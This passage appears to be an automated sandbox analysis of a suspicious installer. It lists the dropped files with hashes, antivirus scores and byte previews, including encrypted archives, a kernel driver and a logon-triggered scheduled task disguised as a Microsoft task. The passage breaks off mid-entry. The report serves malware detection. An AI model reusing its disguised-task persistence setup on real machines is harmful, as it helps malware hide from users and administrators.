                            SSDEEP:768:jh43RfBLJT55mgLMoqX3gX/i69sXCuWegxJr8qF88M:qhj+I7qCKNSegPnFM
                            MD5:CE6034AFC63BB42F4E0D6CD897DFBCB8
                            SHA1:49E6E67EB36FE2CCAA42234A1DBB17AA2B1C7CC0
                            SHA-256:7B7EB1D44ED88E7C19A19CEDAA25855F6800B87EC7E76873F3EA4D6A65DAA25F
                            SHA-512:7801FA33C19D6504FF2D84453F4BB810FD579CB0C8772871F7CC53E90B835114D0221224A1743C0F5AAE76C658807CC9B4EC3BEC2CAD4AB8C3FD03203DAA7CF0
                            Malicious:false
                            Preview:7z..'....oYU@|......2.........Z....f..t.#.............tb.7E..Jo.........b.I=.Y..6(..=....^..>i.^E.."q.$&8....N...p+.p. .P.z6.b,.8kdD......'...G.R.n.&5..C..H.E..So!T^n{.a#d....z.SB........Nb.........LO+B ...iV..HH.Cc*.o@|.....Yvxb^.cW....._.........m.}.(V.i.H$....R....`.M.p......A?....._..nb..D.*RT<bUV.n].....LD.qU.....U9....]...h..y!...I....&C......g`...YahZ.q4.{.....2ZRG..f.. .M....:t .........8..Eg.....o.....h.]{..........p...M...lh.@.(R.]!B.:...b78$...b.......hc...C~....I..B<.x_OB|...<. .=NZ.....z........sjJ.....*{<..L.......^...9..^d..$d..}......#.dL'~.}....M...j.(5..@.tcVm.H..-.n...D..&....<..Z...@]./7?...[..qfW..!...v...==..d..M..om~).....C..9....c<..WUV.ed.h...]....OCt(X.H<<:.9..{5j....Nh.L.$..>..D..haP..~...............}r=!.E.ng..........9+...2.g.H3Lx.Bu....]jC...q.g.g.U.4..<........)....oo.T.c_.......X.,.@...nu......D.B(~.5....x5...............4S7B..p...Uk.0-m.VM.M@.V\.o...(......".k..w....Z.([.@.MQ.i9..."W..m...N.,.

                            C:\Program Files (x86)\Windows NT\locale4.bin

                            Download File
                            Process:C:\Program Files (x86)\Windows NT\7zr.exe
                            File Type:data
                            Category:dropped
                            Size (bytes):74960
                            Entropy (8bit):7.99759370165655
                            Encrypted:true
                            SSDEEP:1536:x2PlxAOr0Y07RqyjjkFThaVNwDsKsNFBrFYek36pX4MDVuPFOnfIId+:QAOrf07RHjkFThaVGMLF3hNDcPFOn5s
                            MD5:950338D50B95A25F494EE74E97B7B7A9
                            SHA1:F56A5D6C40BC47869A6AE3BC5217D50EA3FC1643
                            SHA-256:87A341B968B325090EF90DFB6D130ED0A1550A1EBDE65B1002E401F1F640854A
                            SHA-512:9A6CC00276564DDE23D4CABA133223D31D9DDD06D8C5B398F234D5CE03774ED7B9C7D875543E945A5B3DB2851EC21332FE429A56744A9CC2157436400793FF83
                            Malicious:false
                            Preview:.@S........................F.T....r...z'I.N..].u.e.e..y.....<|r.:v.....J.i...L.Sv.....Nz..,..K.sI*./.d.p.'.R.....6eF....W{."J.Nt'.{E....mU_..qc.G..M..y.QF)..N..W.o.D!.-...A$.....Nc.(...~.5.9'..>...E..>.5n..s..W.A7..../..+..E.....v..^&.....V..H6..j..S`H.qAG.R.i^&....>@SYz.@......q.....\t=.HE...i..".u.Z.(y.m..3.0\..Wq9#.....iH7..TL.U..3,b........L...D..,..t(mS..06...[6.y....0-....f.N7..R......./..z.bEQ.r..n.CmB'..@......(...l..=.s........`.6.?..[mzl....K.5"..#*.>.~..._...A.%b..........PnI.T...?R~JL<.$V..-.U..}\..t/F..<..t....y(K..v..6"..'.!.*z.R....EJ0.d<v:.R&......x...2....;Tc..(..dW...7a.)...rq.....{"h.wbB..t)f..qj........~.XR.a/........l./.S......".%?.C.cL._.,k.n'....a./.z...{.]...<......._pFP..d..,......Q...[........3...Kq).rJ..8..I.)o...i'Q..=......(dq(.m../..%=.......r m.X|3.......b.~tA.......%+.T..E@..ce...%....,..x#...,....-....A...q.....r.+...?......L..%.c.... ..>.Iw......P...O)...$`.'..D1.r.....*..9;..R...VL.]..%j.....TM.4.....P.L...

                            C:\Program Files (x86)\Windows NT\locale4.dat

                            Download File
                            Process:C:\Users\user\AppData\Local\Temp\is-8972P.tmp\#U5b89#U88c5#U52a9#U624b2.0.4.tmp
                            File Type:7-zip archive data, version 0.4
                            Category:dropped
                            Size (bytes):74960
                            Entropy (8bit):7.997593701656546
                            Encrypted:true
                            SSDEEP:1536:xsn0ayGU0SfvuEykcv5ZUi4Q9POZBgfmWRDOs2XwV1NN4+8wbr82nR+2R:xY0ntfvwkcv5ZwYPCBgfmW/VDS+FbrLN
                            MD5:059BA7C31F3E227356CA5F29E4AA2508
                            SHA1:FA3DC96A3336903ED5E6105A197A02E618E3F634
                            SHA-256:1CBF36AFC14ECC78E133EBEC8A6EE1C93DEA85EEC472CE0FB0B57D3E093F08CC
                            SHA-512:E2732D3E092B0A7507653A4743E1FE7A1010A20D4973C209BA7C0B2B79F02DF3CFDB4D7CE1CBFB62AA0C3D2CDE468FC2C78558DA4FF871660355E71DC77D8219
                            Malicious:false
                            Preview:7z..'....G8{p$......@..........0..$D.#'7..^..G.....W.K^.IC;.k...)_...S...2..x.....?(..Rj.g.......B...C..NK.B0s..L?.$..].....$r..E.]~...~K..E..3.......t..k..J......B...4.?!..6r.Qqc.5.r...\..,A.JF.J...Vb..b...M.=^.K7..e..]...X.%^3T...D.y..e2..>...k...\...S.C....')......hhV..K...z4..$d....a[.....6.&.D.:.=^.8.M[....n..i[....]..Y.4...NpkjU..;..W5.#.p.8?u....!.......u.[?.$..^.}f.A..G.N...b7.*...!!.(.....Gc..........Dg....Z.*.#.\".e.m.).t.5..r...6"....Q......fx..W......k..K7^."C.4*Z.{.^WG.....Z..P......Z....7R.....5hy...s....b.....7.V.....k.=.y.i.i......Y.......FY$.|T.5..V...E|...q.........].}bl...y.....;...q....-a..RP3..L~k....|..p_......."......rJz."..v......Z....l1.O.N...Di...O.:m.X...W.......x..}..>ktk.,.~...n-.m..`...G......$.....].lPx..<..9.m4.n...d....G...{'.a........u).R.+.....y.`.p...1@..!..b...J.W..Vt,......h...k....W.,..@Sd.<ZG......}&.R.]p(Y...o...r.4m:.J`.U..S5.iN...^!Y..hHP.B.58....JvB.K.k;...4........\.6=&erz..2..&...Z.C...h_.

                            C:\Program Files (x86)\Windows NT\locale7.bin

                            Download File
                            Process:C:\Program Files (x86)\Windows NT\7zr.exe
                            File Type:data
                            Category:dropped
                            Size (bytes):29730
                            Entropy (8bit):7.994290657653607
                            Encrypted:true
                            SSDEEP:768:e7fyvDZi63BuPi2zBBMqUp6fJzwyQb91SPlssLK4:AfKNiG/2vMx6fJzwVb2tss7
                            MD5:2C3E0D1FB580A8F0855355CC7D8D4F7A
                            SHA1:177E4A0B7C4BC8ACE0F46127398808E669222515
                            SHA-256:9818FEBDE34D7E9900EB1C7A32983CA60C676BE941E2BC1ED9FBD5A187C6F544
                            SHA-512:B9410FC8F5BE02130D50E7389F9A334DD2F2A47694E88FBB9FB4561BD3296F894369B279546EEBB376452DF795C39D87A67C6EE84C362F47FA19CF4C79E5574E
                            Malicious:false
                            Preview:.@S....*z.p,..................kcn..a.^.<..=......7`....6..!`...W.,2u...K.r.1.......1...g<wkw.....q..VfaR...n.h.0b[.h.V$..7.7'd.....T.....`.....)k.....}..........bW'.t..@*.%e5....#.6.g.R.......,W....._..G.d...1..e/...e7....E.....b....#Z,#...@.J.j?....q.ZR.c.b.V....Y-.......3..&E...a.2vg$..z...M9.[......_.1U....A...L.0+3U.[)8...D........5......[..-.u...ib...[..I-....#|j..d..D.S.'.....J.`.....b..y...Iu.D.....2.r}.4....<K.%....0X..X[5.sD...Xh.(G...Z;.."..o..%.......,.y..\..M6.+,.]c..t.:.|...p%.../1%.{>..r..B..yA.......}.`.#.X....Rl`.6\~k.P8..C....V\^..2.7...... h. .>....}..u)..4..w..............^N...@.v....d.P...........IA.. G?..YJ>._La..Y.@.8N.a...BK.....x.T....u.....\x.t...~.2p.M..+.R&w.......7c!v.@..RGf.F.>^+.b=........@l.T5.:........#}.%>.-.C.[XR.TG.\..'....MH..x..Y...cL........y.>....%...:.S.W^..k.EE.5O`.6<5-kh_...."95..:p....P.jk`....b.7.Z.8Y....H(j2y..`d.q;RyZ.5$..3.;......0,......+O.....L.,..u.s....S.1o.g...l"..e.....Cy<....I.+..B@......~.0...<.

                            C:\Program Files (x86)\Windows NT\locale7.dat

                            Download File
                            Process:C:\Users\user\AppData\Local\Temp\is-8972P.tmp\#U5b89#U88c5#U52a9#U624b2.0.4.tmp
                            File Type:7-zip archive data, version 0.4
                            Category:dropped
                            Size (bytes):29730
                            Entropy (8bit):7.994290657653608
                            Encrypted:true
                            SSDEEP:768:0AnbQm4/4qQyDC44LY4VfQ8aN/DObt1dSt3OUqZNKME:0ab6c4oY0aBDObjot+Uqu7
                            MD5:A9C8A3E00692F79E1BA9693003F85D18
                            SHA1:5ED62E15A8AC5D49FD29EF2A8DC05D24B2E0FC1F
                            SHA-256:B88E3170EC6660651AF1606375F033F42D3680E4365863675D0E81866E086CC3
                            SHA-512:8354B80622A9808606F1751A53F865C341FF2CE1581B489B50B1181DAA9B2C0A919F94137F47898A4529ECCCD96C43FCCD30BCDF6220FA4017235053AF0B477D
                            Malicious:false
                            Preview:7z..'....G..s......2......../.....h..f...H=...v.:..Q.I..OP.....p..qfX.M.J..).9;...sp......ns./..;w....3.<..m..M.L...k..L..h[-Dnt.*'5....M(w%...HVL..F&......a...R.........SF.2....m@X&X5.!....ER......]xm.....\.....=.q.I.}v.l#.B........:.e....b6.l.d..O......H.C..$.',.B..Q\..\.B.%...g...3?.....*.XuE.J.6`.../...W.../......b..HL?...E.V[...^.~.&..I,..xUH..2V..H..$..;.....c.6.o........g.}.u:.X....9...|Ynic.*.....ooK..>..M~yb..0W....^..J(S......Q?...#.i.1..#.._.9..2E.S7c.....{..'...j.A.p......dS]......i.!..YS...%.Q<..\.0.....FNw....e...2...$..$4..Pv.R...mv...-.b.T.)..r*..!..).n4.+.l[.N...4qN....w.B..[......<U.etA.A....SB..^y.......^0.f._.&..Z.zV.%.R.f_dz.,E..JJ..%.R.7.3m.:..;.`...AoHLHC..|..)f...C....$...E....H"x..F....wW...3"......Y.*Y.....5....,E...tn.KS...2......w\Z..1.".O.=+..A...2.....A.........k. c..../2..i!q..q...u.'.m.6.j.\.....x...S....$....*.&(.).^..f.d.g"j..#^....W.]{.C.?2Z.'X...5.._@..q.j..Xb...n{1..<.i...'r...7'.F.L\(.8

                            C:\Program Files (x86)\Windows NT\res.dat

                            Download File
                            Process:C:\Users\user\AppData\Local\Temp\is-8972P.tmp\#U5b89#U88c5#U52a9#U624b2.0.4.tmp
                            File Type:7-zip archive data, version 0.4
                            Category:dropped
                            Size (bytes):1372592
                            Entropy (8bit):7.999861765609055
                            Encrypted:true
                            SSDEEP:24576:RXC0Z1CE1cj75fLWLdnGXl5NToCVCKJandcOFA4pzFae0drtI8:NC0ytfUusCEKMnm4rJGrt7
                            MD5:C4F802091F7963ED5DE1360E7B79177B
                            SHA1:314320F5F9B1D26478D53D614460820F23E3F80A
                            SHA-256:9FB179273573C37A0155795E11CB301B193D4A6D26E9894CB6E324F27EAA91D6
                            SHA-512:C12610102BAC3C167A80E4E5C60FB23AB04A2266ADE87F72918B885E6EF5436984CEDEF508CEECFDDD22FD155F371BAE0A1207B1C8ABBEBF14DBE04161741460
                            Malicious:false
                            Preview:7z..'...4.].P.......@....... Sl.c..e.."Lk1HJL....ND......o...VH~.......2. ....Co..jj.^.\......k`..u*........a..7.............f.C. ..Z@R.....P.Y.<..l..Z.ul........~O./...a......G.N#v...,...g.....;.....x&.+...d'...........R......}0.5:/....#.D...t5.{..O..)...~o_.tE..g.X.g.k.H..P,Y..[.y`n...../.L..T.\.V.L.kY....u.....v......."....f..I..\..'..i.2..LLMJ....q..RV.. .t.....X...vN....C.....p.1...|E.....'#u.7.d.<......*'.7t.<.#\.....p....UX.jb.]%....;.1L@rF..C...\..X.G#{...f+tc@.0.:...j...%L.Ij.3`U=S...j..T....v..0.,SN.....$.. ?Z.V.n.....^i6."D..>....P.......J.F....#aGE^Z......#....hW.p.....X@y#.F.......EN6.....cj/5..d..../..|@.U-G..ZU....kvBZ..B..n.....S].R.....2FU2.--V]p.../...|......{f.eD.....S....=..s".....O..L....5Y....{.e.I.kM...p>2....J..e..)..+.B.N...AAg..M.h.z.D3.O#......#..0...*..-B?.0P.4.......u....d..>. ..."bo.d.....`P..;.*w..........i....@.[.}.j.C.Q-.........<L6T...a*@...V...5{.&F.gE.'....c0p..{.8.1. .O...B.k.I.v~....{Qb....w....

                            C:\Program Files (x86)\Windows NT\tProtect.dll

                            Download File
                            Process:C:\Program Files (x86)\Windows NT\7zr.exe
                            File Type:PE32+ executable (native) x86-64, for MS Windows
                            Category:dropped
                            Size (bytes):63640
                            Entropy (8bit):6.482810107683822
                            Encrypted:false
                            SSDEEP:768:4l2NchwQqrK3SBq3Xf2Zm+Oo1acHyKWkm9loSZVHT4yy5FPSFlWd/Ce34nqciC50:kgrFq3OVgUgla/4nqy5K2/zW
                            MD5:B4EAACCE30F51EAF2A36CEA680B45A66
                            SHA1:94493D7739C5EE7346DA31D9523404D62682B195
                            SHA-256:15E84D040C2756B2D1B6C3F99D5A1079DC8854844D3C24D740FAFD8C668E5FB9
                            SHA-512:16F46ABE2DD8C1A95705C397B0A5A0BC589383B60FE7C4F25503781D47160C0D68CBA0113BA918747115EF27A48AB7CA7F56CC55920F097313A2DA73343DF10B
                            Malicious:true
                            Antivirus:
                            • Antivirus: ReversingLabs, Detection: 9%
                            Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......s.[.7.5N7.5N7.5N7.4NX.5NA'NN4.5NA'HN5.5N.|XN4.5N.|HN6.5NA'XN6.5N.|DN0.5N.|IN6.5N.|MN6.5NRich7.5N........................PE..d....(gK..........".........."............................................... ..............................................................d...(........................(.......... ................................................................................text............................... ..h.rdata..............................@..H.data...............................@....pdata..............................@..HINIT................................ ....rsrc...............................@..B.reloc..0...........................@..B................................................................................................................................................................................................................

                            C:\Program Files (x86)\Windows NT\task.xml

                            Download File
                            Process:C:\Users\user\AppData\Local\Temp\is-8972P.tmp\#U5b89#U88c5#U52a9#U624b2.0.4.tmp
                            File Type:data
                            Category:dropped
                            Size (bytes):4096
                            Entropy (8bit):3.347034835751068
                            Encrypted:false
                            SSDEEP:48:dXKLzDlnlL6w0QldOVQOj933ODOiTdKbKsz72eW+5y4:dXazDlncwhldOVQOj6dKbKsz7
                            MD5:062A3AACBCFA04B7986F0AAB0F7767C0
                            SHA1:FD7A28C2D6B030B8E15622CEFFD824224F684973
                            SHA-256:F46F7F3F8B4763B62B3B2E02E24B0300E3AB741DD3770F93FCFE7D1A26B1C46D
                            SHA-512:9F0435883F31D801EFEC0A378473566F68CDD0DA9FBC36F2B431380D8E852E297891BD3AFC952E90CC5ED01C9041C79402FD774BFE98B036D73F9FDD65771B79
                            Malicious:false
                            Preview:<Task xmlns="http://schemas.microsoft.com/windows/2004/02/mit/task">. <RegistrationInfo>. <Date>2005-10-11T13:21:17-08:00</Date>. <Author>Microsoft Corporation</Author>. <Version>1.0.0</Version>. <Description>Microsoft</Description>. <URI>\kafanbbs</URI>. </RegistrationInfo>. <Triggers>. <LogonTrigger>. <Enabled>true</Enabled>. <UserId>user</UserId>. </LogonTrigger>. </Triggers>. <Principals>. <Principal id="System">. <UserId>user</UserId>. <RunLevel>HighestAvailable</RunLevel>. </Principal>. </Principals>. <Settings>. <MultipleInstancesPolicy>Parallel</MultipleInstancesPolicy>. <DisallowStartIfOnBatteries>false</DisallowStartIfOnBatteries>. <StopIfGoingOnBatteries>false</StopIfGoingOnBatteries>. <AllowHardTerminate>false</AllowHardTerminate>. <StartWhenAvailable>true</StartWhenAvailable>. <RunOnlyIfNetworkAv

                            C:\Program Files (x86)\Windows NT\trash

                            Download File
                            Process:C:\Program Files (x86)\Windows NT\7zr.exe
                            File Type:DOS executable (COM, 0x8C-variant)
                            Category:dropped
                            Size (bytes):1122527
                            Entropy (8bit):7.999876279585022
                            Encrypted:true
                            SSDEEP:24576:dlXGATpPsSoQPBKfqOMpMPpEuO/GoVuLr1JJLqbNGt:vWATtsniOC5xqINGt
                            MD5:B3AD8FA0868DACAD08D5437F30AC2FA1
                            SHA1:FD04617E2774C1C6CF2606CFA67E0AB1E3AF51E5
                            SHA-256:CC7BA22A1B12BC01EFA6EB6BB36BD78217D639BB1DA81DA49B2D19791B05C97E
                            SHA-512:699420BAFA2ED1EC0C4ED5F375EABBF74AAB13E068926C498F09252AD89674875A1F079AA014E1E2E2B78850A81766875F98E79D036904E6380F38BA96976091
                            Malicious:true
                            Preview:...i/=.@..<.......K.....<.`y......M...$.4..u.3.1...../q.......dW....F**.....P..3.......x.s.bc2O..:?.F.Y...WWW...*..W..x%i...^.P.9.....e.......@w.&.U....+..6.H...>...0..6T....Dc.R.p.t.....Z..2n.F)./.|.57.....nF.B.v-f.7..$..F.?...N..)z....Dwe`...Y....z.!.F...S;..g..G...V'.~n+.ba.Y.g.....z.i..L"l....o.z....sF%E...*.......x.U.N....-.R~...,.T.Si.`-.&y[..D.N....w?......I.."......6N.....C.u.cd./.}.x...I......g.m\..h.:.Q...B.....WG2.`..4Z.......b.....M.o...u.$<V.p..k.....Y.[$Uj..X.....u.pVq.-9...-..f(....(+.<..2.<..x....._jp..O.Y...P*..7.*.C..Dyf..TD...sZC.L.|.B..V.a......... ...Dl..oE...~.3@<..:m0.....\:.f.r.B6.3..........g5._.^....Z.llF.....$...X.E6.Xe)...]v\....HM.............\P01c..%5y.+..W..YF..E>.p O..Y...w?..J..<....... ).U...j.%#3...Cv.>./.nA..b......'..a{|.....!..=........".w3U...e........l+.A}.I.n9TL....`..m.).CX....pl.]/.q[+....'..a..c...>u..E..Z....Q....A.W.....2.N......]..&.;..^8.$...C...eh....g..l.........U...FR..dQ|-..P.f.

                            C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

                            Download File
                            Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                            File Type:data
                            Category:dropped
                            Size (bytes):64
                            Entropy (8bit):1.1940658735648508
                            Encrypted:false
                            SSDEEP:3:Nlllul/nq/llh:NllUyt
                            MD5:AB80AD9A08E5B16132325DF5584B2CBE
                            SHA1:F7411B7A5826EE6B139EBF40A7BEE999320EF923
                            SHA-256:5FBE5D71CECADD2A3D66721019E68DD78C755AA39991A629AE81C77B531733A4
                            SHA-512:9DE2FB33C0EA36E1E174850AD894659D6B842CD624C1A543B2D391C8EBC74719F47FA88D0C4493EA820611260364C979C9CDF16AF1C517132332423CA0CB7654
                            Malicious:false
                            Preview:@...e................................................@..........

                            C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_btfuky1j.nai.ps1

                            Download File
                            Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                            File Type:ASCII text, with no line terminators
                            Category:dropped
                            Size (bytes):60
                            Entropy (8bit):4.038920595031593
                            Encrypted:false
                            SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                            MD5:D17FE0A3F47BE24A6453E9EF58C94641
                            SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                            SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                            SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                            Malicious:false
                            Preview:# PowerShell test file to determine AppLocker lockdown mode

                            C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_c0uiwl12.a5h.psm1

                            Download File
                            Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                            File Type:ASCII text, with no line terminators
                            Category:dropped
                            Size (bytes):60
                            Entropy (8bit):4.038920595031593
                            Encrypted:false
                            SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                            MD5:D17FE0A3F47BE24A6453E9EF58C94641
                            SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                            SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                            SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                            Malicious:false
                            Preview:# PowerShell test file to determine AppLocker lockdown mode

                            C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_hwkdcabi.g51.psm1

                            Download File
                            Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                            File Type:ASCII text, with no line terminators
                            Category:dropped
                            Size (bytes):60
                            Entropy (8bit):4.038920595031593
                            Encrypted:false
                            SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                            MD5:D17FE0A3F47BE24A6453E9EF58C94641
                            SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                            SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                            SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                            Malicious:false
                            Preview:# PowerShell test file to determine AppLocker lockdown mode

                            C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_xxglzpcw.taj.ps1

                            Download File
                            Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                            File Type:ASCII text, with no line terminators
                            Category:dropped
                            Size (bytes):60
                            Entropy (8bit):4.038920595031593
                            Encrypted:false
                            SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                            MD5:D17FE0A3F47BE24A6453E9EF58C94641
                            SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                            SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                            SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                            Malicious:false
                            Preview:# PowerShell test file to determine AppLocker lockdown mode

                            C:\Users\user\AppData\Local\Temp\is-41CGB.tmp\#U5b89#U88c5#U52a9#U624b2.0.4.tmp

                            Download File
                            Process:C:\Users\user\Desktop\#U5b89#U88c5#U52a9#U624b2.0.4.exe
                            File Type:PE32 executable (GUI) Intel 80386, for MS Windows
                            Category:dropped
                            Size (bytes):3366912
                            Entropy (8bit):6.530564693555266
                            Encrypted:false
                            SSDEEP:98304:nJYVM+LtVt3P/KuG2ONG9iqLRQE9333T:2VL/tnHGYiql5F
                            MD5:5F1FEB7EA510D8FB9A35D5802519EBDB
                            SHA1:76DFFF4701B450FDB9F1636C813CED8A2597C393
                            SHA-256:478B5ED05CCC5C8760F4F9F8E9A805C0533166EC4C6068DD072EFCB3B83AD914
                            SHA-512:86113DA5A1F402E3ECEA30BD21B6DBECFE2FC128206D622683EC5FA0B0D3E7106E9FF59B42268C8D159F7C7A26CB87C0C20CFF3B8388D8EC5F9F5A49C24A6BEC
                            Malicious:true
                            Preview:MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L.....f..................*...........*.......*...@..........................04...........@......@...................P,.n.....,.j:...P0.......................,.<............................p,.......................,......@,.(....................text.....*.......*................. ..`.itext..$.....*..0....*............. ..`.data.........*.......*.............@....bss.....|....+..........................idata..j:....,..<...f+.............@....didata.(....@,.......+.............@....edata..n....P,.......+.............@..@.tls....X....`,..........................rdata..]....p,.......+.............@..@.reloc..<.....,.......+.............@..B.rsrc........P0......./.............@..@.............04......`3.............@..@................

                            C:\Users\user\AppData\Local\Temp\is-8972P.tmp\#U5b89#U88c5#U52a9#U624b2.0.4.tmp

                            Download File
                            Process:C:\Users\user\Desktop\#U5b89#U88c5#U52a9#U624b2.0.4.exe
                            File Type:PE32 executable (GUI) Intel 80386, for MS Windows
                            Category:dropped
                            Size (bytes):3366912
                            Entropy (8bit):6.530564693555266
                            Encrypted:false
                            SSDEEP:98304:nJYVM+LtVt3P/KuG2ONG9iqLRQE9333T:2VL/tnHGYiql5F
                            MD5:5F1FEB7EA510D8FB9A35D5802519EBDB
                            SHA1:76DFFF4701B450FDB9F1636C813CED8A2597C393
                            SHA-256:478B5ED05CCC5C8760F4F9F8E9A805C0533166EC4C6068DD072EFCB3B83AD914
                            SHA-512:86113DA5A1F402E3ECEA30BD21B6DBECFE2FC128206D622683EC5FA0B0D3E7106E9FF59B42268C8D159F7C7A26CB87C0C20CFF3B8388D8EC5F9F5A49C24A6BEC
                            Malicious:true
                            Preview:MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L.....f..................*...........*.......*...@..........................04...........@......@...................P,.n.....,.j:...P0.......................,.<............................p,.......................,......@,.(....................text.....*.......*................. ..`.itext..$.....*..0....*............. ..`.data.........*.......*.............@....bss.....|....+..........................idata..j:....,..<...f+.............@....didata.(....@,.......+.............@....edata..n....P,.......+.............@..@.tls....X....`,..........................rdata..]....p,.......+.............@..@.reloc..<.....,.......+.............@..B.rsrc........P0......./.............@..@.............04......`3.............@..@................

                            C:\Users\user\AppData\Local\Temp\is-9LEP6.tmp\_isetup\_setup64.tmp

                            Download File
                            Process:C:\Users\user\AppData\Local\Temp\is-41CGB.tmp\#U5b89#U88c5#U52a9#U624b2.0.4.tmp
                            File Type:PE32+ executable (console) x86-64, for MS Windows
                            Category:dropped
                            Size (bytes):6144
                            Entropy (8bit):4.720366600008286
                            Encrypted:false
                            SSDEEP:96:sfkcXegaJ/ZAYNzcld1xaX12p+gt1sONA0:sfJEVYlvxaX12C6A0
                            MD5:E4211D6D009757C078A9FAC7FF4F03D4
                            SHA1:019CD56BA687D39D12D4B13991C9A42EA6BA03DA
                            SHA-256:388A796580234EFC95F3B1C70AD4CB44BFDDC7BA0F9203BF4902B9929B136F95
                            SHA-512:17257F15D843E88BB78ADCFB48184B8CE22109CC2C99E709432728A392AFAE7B808ED32289BA397207172DE990A354F15C2459B6797317DA8EA18B040C85787E
                            Malicious:false
                            Antivirus:
                            • Antivirus: ReversingLabs, Detection: 0%
                            Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......^...............l...............=\......=\......=\......Rich............................PE..d.....R..........#............................@.............................`.......,......................................................<!.......P..H....@..0.................................................................... ...............................text............................... ..`.rdata..|.... ......................@..@.data...,....0......................@....pdata..0....@......................@..@.rsrc...H....P......................@..@................................................................................................................................................................................................................................................................................................................................

                            C:\Users\user\AppData\Local\Temp\is-9LEP6.tmp\update.vac

                            Download File
                            Process:C:\Users\user\AppData\Local\Temp\is-41CGB.tmp\#U5b89#U88c5#U52a9#U624b2.0.4.tmp
                            File Type:PE32 executable (DLL) (console) Intel 80386, for MS Windows
                            Category:dropped
                            Size (bytes):3606016
                            Entropy (8bit):7.0063494494702985
                            Encrypted:false
                            SSDEEP:49152:/MifTj964EMRY42Kgq7eJEJqx2dhZe71MzuiehWIKxZfAtbyBSfbZmSKiyQF:/M+jcZ42KXw2dhZe71MzSRFyBSDH
                            MD5:95ACD5631A9131DB1FD066565AFC9A67
                            SHA1:8E9473BD632FF0F57FC34EECAC17174341D80D94
                            SHA-256:EA6B71519CD54AB523B822F84D5D4E5B305214DA4C37E96A02D8BC1CB182F58B
                            SHA-512:70188E7AD6B0D9DA5E88EEFC6095F99066F73FDAB10F084E3F2F96B30D8A717BAE75E9C1B476FB996BC86B9A753AAF26F96024D0068090B437EACE6E5BE35681
                            Malicious:true
                            Antivirus:
                            • Antivirus: ReversingLabs, Detection: 24%
                            Preview:MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....Fig...........!.....h....................................................7...........@.........................XC.......J..<....07.X....................@7..?...................................................K...............................text....f.......h.................. ..`.rdata..T............l..............@..@.data................b..............@....00cfg.......`(......"(.............@..@.tls.........p(......$(.............@....voltbl.F.....(......&(..................#.q....P.....(......((............. ..`.rsrc...X....07.......6.............@..@.reloc...?...@7..@....6.............@..B................................................................................................................................................................................................................................................................................

                            C:\Users\user\AppData\Local\Temp\is-H6C6K.tmp\_isetup\_setup64.tmp

                            Download File
                            Process:C:\Users\user\AppData\Local\Temp\is-8972P.tmp\#U5b89#U88c5#U52a9#U624b2.0.4.tmp
                            File Type:PE32+ executable (console) x86-64, for MS Windows
                            Category:dropped
                            Size (bytes):6144
                            Entropy (8bit):4.720366600008286
                            Encrypted:false
                            SSDEEP:96:sfkcXegaJ/ZAYNzcld1xaX12p+gt1sONA0:sfJEVYlvxaX12C6A0
                            MD5:E4211D6D009757C078A9FAC7FF4F03D4
                            SHA1:019CD56BA687D39D12D4B13991C9A42EA6BA03DA
                            SHA-256:388A796580234EFC95F3B1C70AD4CB44BFDDC7BA0F9203BF4902B9929B136F95
                            SHA-512:17257F15D843E88BB78ADCFB48184B8CE22109CC2C99E709432728A392AFAE7B808ED32289BA397207172DE990A354F15C2459B6797317DA8EA18B040C85787E
                            Malicious:false
                            Antivirus:
                            • Antivirus: ReversingLabs, Detection: 0%
                            Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......^...............l...............=\......=\......=\......Rich............................PE..d.....R..........#............................@.............................`.......,......................................................<!.......P..H....@..0.................................................................... ...............................text............................... ..`.rdata..|.... ......................@..@.data...,....0......................@....pdata..0....@......................@..@.rsrc...H....P......................@..@................................................................................................................................................................................................................................................................................................................................

                            C:\Users\user\AppData\Local\Temp\is-H6C6K.tmp\update.vac

                            Download File
                            Process:C:\Users\user\AppData\Local\Temp\is-8972P.tmp\#U5b89#U88c5#U52a9#U624b2.0.4.tmp
